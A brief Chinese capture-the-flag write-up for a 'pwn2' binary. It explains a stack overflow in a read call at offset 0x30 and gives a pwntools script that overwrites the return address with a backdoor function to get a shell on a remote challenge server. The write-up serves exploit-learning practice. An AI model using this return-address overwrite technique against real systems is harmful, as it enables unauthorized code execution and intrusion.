根据伪代码可以看到read函数存在溢出
存在一个后面 那就直接覆盖返回地址就完事了
从ida很直观看出s的偏移为0x30
所以到到返回地址的距离就是0x30+0x8
from pwn import *
#p = process('./pwn2')
p=remote('114.116.54.89','10003')
elf = ELF('./pwn2')
flag = elf.symbols['get_shell_']
payload = 'a'*(0x8+0x30)+p64(flag)
p.recvline()
p.sendline(payload)
p.interactive()